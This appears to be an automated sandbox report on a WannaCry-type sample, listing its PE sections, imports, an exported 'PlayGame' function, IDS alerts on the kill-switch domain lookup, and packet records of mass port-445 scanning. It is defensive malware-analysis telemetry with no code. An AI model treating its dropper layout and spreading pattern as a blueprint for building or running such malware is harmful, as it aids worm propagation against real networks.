.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	Matlab v4 mat-file (little endian) C:\%s\%s, numeric, rows 0, columns 0	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.68.8.8.863229532830018 12/22/22-10:03:15.700788	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	63229	53	192.168.2.6	8.8.8.8
192.168.2.68.8.8.862910532830018 12/22/22-10:03:15.117161	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	62910	53	192.168.2.6	8.8.8.8
192.168.2.68.8.8.859082532830018 12/22/22-10:03:13.716060	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	59082	53	192.168.2.6	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2022 10:03:13.759604931 CET	49712	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:13.927089930 CET	80	49712	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:13.927210093 CET	49712	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:13.927982092 CET	49712	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:14.125061989 CET	80	49712	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:14.125114918 CET	80	49712	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:14.125281096 CET	49712	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:14.156240940 CET	49712	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:14.186635971 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.186729908 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.187052965 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.188388109 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.188424110 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.197252035 CET	49714	80	192.168.2.6	76.223.26.96
Dec 22, 2022 10:03:14.241856098 CET	80	49714	76.223.26.96	192.168.2.6
Dec 22, 2022 10:03:14.242007971 CET	49714	80	192.168.2.6	76.223.26.96
Dec 22, 2022 10:03:14.257528067 CET	49714	80	192.168.2.6	76.223.26.96
Dec 22, 2022 10:03:14.262450933 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.262654066 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.265870094 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.265888929 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.266262054 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.294193029 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.294230938 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.301714897 CET	80	49714	76.223.26.96	192.168.2.6
Dec 22, 2022 10:03:14.309431076 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.309588909 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.309765100 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.309765100 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.309819937 CET	49713	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.309854984 CET	443	49713	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.323611975 CET	80	49712	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:14.356817961 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.356998920 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.357152939 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.357392073 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.357413054 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.404489040 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.405375004 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.405438900 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.406887054 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.406908035 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.407970905 CET	80	49714	76.223.26.96	192.168.2.6
Dec 22, 2022 10:03:14.408138990 CET	49714	80	192.168.2.6	76.223.26.96
Dec 22, 2022 10:03:14.426402092 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.426546097 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.428529024 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.432049990 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.432085991 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:14.432167053 CET	49715	443	192.168.2.6	23.211.4.90
Dec 22, 2022 10:03:14.432183027 CET	443	49715	23.211.4.90	192.168.2.6
Dec 22, 2022 10:03:15.155693054 CET	49716	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:15.326096058 CET	80	49716	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:15.329927921 CET	49716	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:15.349755049 CET	49716	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:15.538772106 CET	80	49716	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:15.538795948 CET	80	49716	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:15.540644884 CET	49716	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:15.577178001 CET	49716	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:15.659307957 CET	49717	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:15.679482937 CET	80	49717	13.248.148.254	192.168.2.6
Dec 22, 2022 10:03:15.679653883 CET	49717	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:15.680605888 CET	49717	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:15.700368881 CET	80	49717	13.248.148.254	192.168.2.6
Dec 22, 2022 10:03:15.747428894 CET	80	49716	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:15.820631027 CET	80	49717	13.248.148.254	192.168.2.6
Dec 22, 2022 10:03:15.822431087 CET	49717	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:15.841286898 CET	49718	445	192.168.2.6	8.51.118.224
Dec 22, 2022 10:03:15.913928032 CET	49719	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:16.081329107 CET	80	49719	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:16.081511974 CET	49719	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:16.082875013 CET	49719	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:16.279608011 CET	80	49719	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:16.279700994 CET	80	49719	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:16.279763937 CET	49719	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:16.279838085 CET	49719	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:16.331396103 CET	49719	80	192.168.2.6	103.224.212.220
Dec 22, 2022 10:03:16.498852015 CET	80	49719	103.224.212.220	192.168.2.6
Dec 22, 2022 10:03:16.513212919 CET	49729	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:16.533174038 CET	80	49729	13.248.148.254	192.168.2.6
Dec 22, 2022 10:03:16.533389091 CET	49729	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:16.537203074 CET	49729	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:16.556966066 CET	80	49729	13.248.148.254	192.168.2.6
Dec 22, 2022 10:03:16.683810949 CET	80	49729	13.248.148.254	192.168.2.6
Dec 22, 2022 10:03:16.683917046 CET	49729	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:16.954320908 CET	49734	445	192.168.2.6	96.41.163.58
Dec 22, 2022 10:03:17.537580967 CET	49714	80	192.168.2.6	76.223.26.96
Dec 22, 2022 10:03:17.859113932 CET	49744	445	192.168.2.6	35.146.37.100
Dec 22, 2022 10:03:18.083022118 CET	49745	445	192.168.2.6	19.221.53.239
Dec 22, 2022 10:03:18.574392080 CET	49729	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:03:18.970191956 CET	49755	445	192.168.2.6	138.29.215.73
Dec 22, 2022 10:03:19.188524008 CET	49758	445	192.168.2.6	129.160.227.110
Dec 22, 2022 10:03:19.862737894 CET	49768	445	192.168.2.6	186.165.231.64
Dec 22, 2022 10:03:20.097079992 CET	49771	445	192.168.2.6	77.216.205.236
Dec 22, 2022 10:03:20.314737082 CET	49774	445	192.168.2.6	196.133.211.212
Dec 22, 2022 10:03:20.970166922 CET	49784	445	192.168.2.6	109.115.16.196
Dec 22, 2022 10:03:21.220979929 CET	49785	445	192.168.2.6	29.249.0.106
Dec 22, 2022 10:03:21.438775063 CET	49788	445	192.168.2.6	212.61.10.7
Dec 22, 2022 10:03:21.878495932 CET	49794	445	192.168.2.6	158.88.189.160
Dec 22, 2022 10:03:22.096262932 CET	49799	445	192.168.2.6	50.205.38.193
Dec 22, 2022 10:03:22.205667019 CET	445	49799	50.205.38.193	192.168.2.6
Dec 22, 2022 10:03:22.329931974 CET	49802	445	192.168.2.6	85.120.42.53
Dec 22, 2022 10:03:22.548610926 CET	49803	445	192.168.2.6	2.85.141.229
Dec 22, 2022 10:03:22.719372988 CET	49799	445	192.168.2.6	50.205.38.193
Dec 22, 2022 10:03:22.828429937 CET	445	49799	50.205.38.193	192.168.2.6
Dec 22, 2022 10:03:23.002538919 CET	49810	445	192.168.2.6	117.93.84.26
Dec 22, 2022 10:03:23.205179930 CET	49814	445	192.168.2.6	1.33.128.83
Dec 22, 2022 10:03:23.439460993 CET	49817	445	192.168.2.6	150.173.127.92
Dec 22, 2022 10:03:23.686882973 CET	49819	445	192.168.2.6	156.12.56.166
Dec 22, 2022 10:03:24.175273895 CET	49822	445	192.168.2.6	86.0.187.68
Dec 22, 2022 10:03:24.289268017 CET	49824	445	192.168.2.6	137.76.207.134
Dec 22, 2022 10:03:24.397624016 CET	49827	445	192.168.2.6	77.175.111.215
Dec 22, 2022 10:03:24.605477095 CET	49829	445	192.168.2.6	79.98.195.208
Dec 22, 2022 10:03:24.821759939 CET	49833	445	192.168.2.6	52.196.133.110
Dec 22, 2022 10:03:25.664393902 CET	49836	445	192.168.2.6	151.236.80.169
Dec 22, 2022 10:03:25.665043116 CET	49837	445	192.168.2.6	110.57.226.121
Dec 22, 2022 10:03:25.665760040 CET	49838	445	192.168.2.6	62.172.84.196
Dec 22, 2022 10:03:25.774573088 CET	49840	445	192.168.2.6	134.168.186.112
Dec 22, 2022 10:03:25.994596958 CET	49844	445	192.168.2.6	134.41.198.198
Dec 22, 2022 10:03:27.660804987 CET	49846	445	192.168.2.6	124.115.43.220
Dec 22, 2022 10:03:27.661411047 CET	49847	445	192.168.2.6	177.149.69.158
Dec 22, 2022 10:03:27.661870956 CET	49848	445	192.168.2.6	113.112.41.4
Dec 22, 2022 10:03:27.662400007 CET	49849	445	192.168.2.6	137.113.173.104
Dec 22, 2022 10:03:27.662985086 CET	49850	445	192.168.2.6	178.113.55.174
Dec 22, 2022 10:03:27.811681032 CET	49852	445	192.168.2.6	176.163.9.39
Dec 22, 2022 10:03:28.204969883 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.205029964 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.205132008 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.213157892 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.213242054 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.290503025 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.290754080 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.291883945 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.291965008 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.389448881 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.389497995 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.389974117 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.390034914 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391170025 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391185999 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.391232967 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391248941 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.391266108 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391273975 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.391367912 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391387939 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.391410112 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391479969 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.391498089 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391534090 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.391590118 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.500349998 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.500466108 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.500627041 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.501975060 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.529222965 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.529222965 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.529290915 CET	443	49858	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:28.529408932 CET	49858	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:28.787642002 CET	49864	445	192.168.2.6	214.225.101.24
Dec 22, 2022 10:03:28.788350105 CET	49865	445	192.168.2.6	210.240.136.128
Dec 22, 2022 10:03:28.789125919 CET	49866	445	192.168.2.6	57.120.188.34
Dec 22, 2022 10:03:28.812937021 CET	49867	445	192.168.2.6	66.136.58.108
Dec 22, 2022 10:03:28.813697100 CET	49868	445	192.168.2.6	69.199.99.10
Dec 22, 2022 10:03:28.941340923 CET	49869	445	192.168.2.6	133.4.206.176
Dec 22, 2022 10:03:29.738782883 CET	49877	445	192.168.2.6	90.98.171.191
Dec 22, 2022 10:03:29.963788033 CET	49880	445	192.168.2.6	35.70.215.14
Dec 22, 2022 10:03:29.964350939 CET	49881	445	192.168.2.6	119.80.217.69
Dec 22, 2022 10:03:29.965231895 CET	49882	445	192.168.2.6	87.24.201.93
Dec 22, 2022 10:03:29.965548038 CET	49883	445	192.168.2.6	80.135.230.63
Dec 22, 2022 10:03:29.966157913 CET	49884	445	192.168.2.6	41.86.230.150
Dec 22, 2022 10:03:30.065403938 CET	49886	445	192.168.2.6	199.239.34.142
Dec 22, 2022 10:03:30.847126961 CET	49894	445	192.168.2.6	200.251.158.69
Dec 22, 2022 10:03:31.082142115 CET	49898	445	192.168.2.6	98.83.226.33
Dec 22, 2022 10:03:31.083878040 CET	49899	445	192.168.2.6	67.229.129.108
Dec 22, 2022 10:03:31.084281921 CET	49901	445	192.168.2.6	66.31.132.144
Dec 22, 2022 10:03:31.084333897 CET	49902	445	192.168.2.6	12.149.60.131
Dec 22, 2022 10:03:31.084379911 CET	49900	445	192.168.2.6	206.241.201.124
Dec 22, 2022 10:03:31.193680048 CET	49905	445	192.168.2.6	150.108.230.155
Dec 22, 2022 10:03:31.746865988 CET	49911	445	192.168.2.6	24.65.91.79
Dec 22, 2022 10:03:31.986813068 CET	49914	445	192.168.2.6	221.77.179.226
Dec 22, 2022 10:03:32.191190004 CET	49918	445	192.168.2.6	42.92.59.242
Dec 22, 2022 10:03:32.192128897 CET	49919	445	192.168.2.6	69.73.187.128
Dec 22, 2022 10:03:32.193620920 CET	49920	445	192.168.2.6	50.11.133.42
Dec 22, 2022 10:03:32.194399118 CET	49921	445	192.168.2.6	69.161.97.36
Dec 22, 2022 10:03:32.301335096 CET	49925	445	192.168.2.6	7.29.209.242
Dec 22, 2022 10:03:32.845628977 CET	49930	445	192.168.2.6	148.131.18.31
Dec 22, 2022 10:03:32.971152067 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:32.971204996 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:32.971328020 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:32.971641064 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:32.971654892 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.043245077 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.043446064 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.044007063 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.044030905 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045154095 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045154095 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045185089 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045216084 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045296907 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045312881 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045377016 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045398951 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045412064 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045485973 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045502901 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045545101 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045634985 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.045713902 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.045728922 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.112442017 CET	49935	445	192.168.2.6	194.217.199.50
Dec 22, 2022 10:03:33.166888952 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.166989088 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.167047977 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.167047977 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.167143106 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.167143106 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.167187929 CET	443	49932	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:33.167265892 CET	49932	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:33.298381090 CET	49672	443	192.168.2.6	40.90.65.8
Dec 22, 2022 10:03:33.329011917 CET	49940	445	192.168.2.6	6.158.97.73
Dec 22, 2022 10:03:33.331116915 CET	49941	445	192.168.2.6	57.166.203.91
Dec 22, 2022 10:03:33.332148075 CET	49942	445	192.168.2.6	132.107.137.30
Dec 22, 2022 10:03:33.332662106 CET	49943	445	192.168.2.6	27.43.9.173
Dec 22, 2022 10:03:33.333950996 CET	49944	445	192.168.2.6	64.172.41.6
Dec 22, 2022 10:03:33.439735889 CET	49947	445	192.168.2.6	105.25.176.160
Dec 22, 2022 10:03:33.766081095 CET	49950	445	192.168.2.6	71.63.126.104
Dec 22, 2022 10:03:33.975155115 CET	49952	445	192.168.2.6	203.111.16.68
Dec 22, 2022 10:03:34.253604889 CET	49955	445	192.168.2.6	39.174.85.3
Dec 22, 2022 10:03:34.424693108 CET	49958	445	192.168.2.6	65.214.106.171
Dec 22, 2022 10:03:34.456085920 CET	49960	445	192.168.2.6	37.221.203.166
Dec 22, 2022 10:03:34.456625938 CET	49961	445	192.168.2.6	91.183.92.216
Dec 22, 2022 10:03:34.457330942 CET	49962	445	192.168.2.6	196.160.116.237
Dec 22, 2022 10:03:34.457972050 CET	49963	445	192.168.2.6	137.221.83.205
Dec 22, 2022 10:03:34.560517073 CET	49965	445	192.168.2.6	165.229.175.24
Dec 22, 2022 10:03:34.862296104 CET	49970	445	192.168.2.6	67.70.92.218
Dec 22, 2022 10:03:35.111720085 CET	49972	445	192.168.2.6	105.120.168.120
Dec 22, 2022 10:03:35.363168001 CET	49976	445	192.168.2.6	201.135.99.47
Dec 22, 2022 10:03:35.540008068 CET	49979	445	192.168.2.6	15.195.145.115
Dec 22, 2022 10:03:35.566709042 CET	49982	445	192.168.2.6	27.210.3.254
Dec 22, 2022 10:03:35.566751003 CET	49981	445	192.168.2.6	12.181.30.147
Dec 22, 2022 10:03:35.566890001 CET	49983	445	192.168.2.6	147.143.29.218
Dec 22, 2022 10:03:35.566951036 CET	49984	445	192.168.2.6	142.140.54.251
Dec 22, 2022 10:03:35.660176992 CET	49986	445	192.168.2.6	105.254.157.135
Dec 22, 2022 10:03:35.768718004 CET	49989	445	192.168.2.6	142.143.60.139
Dec 22, 2022 10:03:35.985734940 CET	49991	445	192.168.2.6	75.127.136.57
Dec 22, 2022 10:03:36.221688986 CET	49994	445	192.168.2.6	97.147.160.250
Dec 22, 2022 10:03:36.487874031 CET	49998	445	192.168.2.6	93.31.245.14
Dec 22, 2022 10:03:36.643923998 CET	50001	445	192.168.2.6	135.19.43.166
Dec 22, 2022 10:03:36.691005945 CET	50003	445	192.168.2.6	211.138.237.209
Dec 22, 2022 10:03:36.691323996 CET	50004	445	192.168.2.6	130.124.94.17
Dec 22, 2022 10:03:36.691459894 CET	50005	445	192.168.2.6	204.123.213.59
Dec 22, 2022 10:03:36.691561937 CET	50006	445	192.168.2.6	13.83.253.180
Dec 22, 2022 10:03:36.800056934 CET	50009	445	192.168.2.6	59.235.176.42
Dec 22, 2022 10:03:36.894404888 CET	50011	445	192.168.2.6	164.76.52.51
Dec 22, 2022 10:03:37.106244087 CET	50012	445	192.168.2.6	155.84.253.32
Dec 22, 2022 10:03:37.346358061 CET	50015	445	192.168.2.6	58.205.13.212
Dec 22, 2022 10:03:37.612304926 CET	50020	445	192.168.2.6	212.58.107.136
Dec 22, 2022 10:03:37.768295050 CET	50024	445	192.168.2.6	91.193.250.222
Dec 22, 2022 10:03:37.787138939 CET	50025	445	192.168.2.6	55.4.239.39
Dec 22, 2022 10:03:37.815433979 CET	50026	445	192.168.2.6	40.30.184.191
Dec 22, 2022 10:03:37.816009045 CET	50027	445	192.168.2.6	58.75.70.154
Dec 22, 2022 10:03:37.816539049 CET	50028	445	192.168.2.6	141.55.202.98
Dec 22, 2022 10:03:37.817229033 CET	50029	445	192.168.2.6	64.208.138.57
Dec 22, 2022 10:03:37.909389019 CET	50032	445	192.168.2.6	80.148.89.108
Dec 22, 2022 10:03:38.002854109 CET	50033	445	192.168.2.6	143.102.159.217
Dec 22, 2022 10:03:38.197294950 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.197432995 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.198518991 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.201447964 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.201549053 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.221137047 CET	50036	445	192.168.2.6	78.16.169.197
Dec 22, 2022 10:03:38.276694059 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.276896954 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.277327061 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.277343035 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.278474092 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.278486967 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.278561115 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.278578043 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.278589964 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.278599977 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.278743982 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.278774977 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.278902054 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.279043913 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.374891996 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.375040054 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.375216961 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.376914024 CET	50035	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:03:38.376952887 CET	443	50035	204.79.197.200	192.168.2.6
Dec 22, 2022 10:03:38.459922075 CET	50039	445	192.168.2.6	207.10.156.129
Dec 22, 2022 10:03:38.736948013 CET	50045	445	192.168.2.6	47.69.83.180
Dec 22, 2022 10:03:38.894654036 CET	50048	445	192.168.2.6	73.38.236.126
Dec 22, 2022 10:03:38.908508062 CET	50050	445	192.168.2.6	159.223.239.124
Dec 22, 2022 10:03:38.943739891 CET	50051	445	192.168.2.6	186.199.215.199
Dec 22, 2022 10:03:38.944181919 CET	50052	445	192.168.2.6	71.211.145.248
Dec 22, 2022 10:03:38.944216967 CET	50053	445	192.168.2.6	136.172.66.214
Dec 22, 2022 10:03:38.944289923 CET	50054	445	192.168.2.6	15.152.60.27
Dec 22, 2022 10:03:38.975967884 CET	445	50053	136.172.66.214	192.168.2.6
Dec 22, 2022 10:03:39.034698963 CET	50055	445	192.168.2.6	73.104.100.11
Dec 22, 2022 10:03:39.128077984 CET	50056	445	192.168.2.6	163.135.236.206
Dec 22, 2022 10:03:39.346215963 CET	50059	445	192.168.2.6	166.56.165.71
Dec 22, 2022 10:03:39.486438036 CET	50053	445	192.168.2.6	136.172.66.214
Dec 22, 2022 10:03:39.517570019 CET	445	50053	136.172.66.214	192.168.2.6
Dec 22, 2022 10:03:39.568783045 CET	50062	445	192.168.2.6	90.211.20.95
Dec 22, 2022 10:03:39.806380033 CET	50067	445	192.168.2.6	117.77.207.213
Dec 22, 2022 10:03:39.846529007 CET	50069	445	192.168.2.6	150.42.69.80
Dec 22, 2022 10:03:40.020520926 CET	50073	445	192.168.2.6	22.24.117.96
Dec 22, 2022 10:03:40.065964937 CET	50074	445	192.168.2.6	152.52.133.10
Dec 22, 2022 10:03:40.066734076 CET	50075	445	192.168.2.6	181.63.249.120
Dec 22, 2022 10:03:40.067234039 CET	50076	445	192.168.2.6	141.60.193.18
Dec 22, 2022 10:03:40.067857981 CET	50077	445	192.168.2.6	98.254.250.5
Dec 22, 2022 10:03:40.159785032 CET	50078	445	192.168.2.6	166.97.162.254
Dec 22, 2022 10:03:40.238148928 CET	50079	445	192.168.2.6	164.244.7.97
